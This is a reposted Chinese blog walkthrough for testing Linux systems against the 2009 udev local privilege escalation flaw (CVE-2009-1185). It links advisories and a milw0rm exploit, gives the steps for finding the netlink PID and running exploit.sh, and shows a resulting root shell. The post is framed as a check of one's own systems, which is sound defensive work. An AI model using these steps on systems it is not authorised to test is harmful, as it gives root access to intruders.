linux udev的权限漏洞测试方法--linux--编程设计网

=波波日志 > linux > linux udev的权限漏洞测试方法=

[转]linux udev的权限漏洞测试方法

作者：梁增海
文章出处：http://s-logs.com/2009/04/linux-udev.html
版权声明：可以任意转载，转载时请务必以超链接形式标明文章原始出处和作者信息及本声明
漏洞相关信息可以在下面链接获取：

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
http://www.linux-magazine.com/online/news/local_root_exploit_in_udev
http://www.debian.org/security/2009/dsa-1772
http://milw0rm.com/exploits/8478

测试方法：

下载以下脚本文件：

exploit.sh

放置在某个目录中，备用。

cat /proc/net/netlink

得到如下返回：

user@debian:~/attack$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
f79e8200 0   2784   00000111 0        0        00000000 2
f7a10200 0   2771   00000001 0        0        00000000 2
dfb4ca00 0   0      00000000 0        0        00000000 2
dff58400 7   0      00000000 0        0        00000000 2
dff7a800 9   0      00000000 0        0        00000000 2
dff71e00 10 0      00000000 0        0        00000000 2
f75dd200 15 1175   00000001 0        0        00000000 2
dfb4c800 15 0      00000000 0        0        00000000 2
dffb6a00 16 0      00000000 0        0        00000000 2

在刚下载那个sh文件的目录中执行：

sh exploit.sh 2784

后边的数字是netlink的pid，如上例返回有多个，要多次尝试。2784，2771，1175，都可以尝试一下。

脚本会生成C文件并调用GCC编译，然后执行。如果主机不支持GCC，可以修改一下代码尝试其他的编译器，或者在本地编译好，上传二进制版本试试。

我在尝试1175时成功看到 # 结尾的shell了（你知道意味着什么，呵呵）。

user@debian:~/attack$ sh exploit.txt 1175
suid.c: In function 鈓ain?
suid.c:3: warning: incompatible implicit declaration of built-in function 鈋xecl?
sh-3.2# id
uid=0(root) gid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),106(netdev),109(powerdev),1000(user)

请读者不要用于非法用途，仅用于测试自己的系统是否还存在此漏洞。如果有，更及时升级udev包，或者升级整个系统。

类别：linux　作者：转载　日期：2009-08-31　【评论：0】　

上一篇：Linux操作系统中RPM命令参数的使用详解　
下一篇：CentOS yum安装Apache+PHP+MySQL

暂时没有评论！

发表留言

百度赞助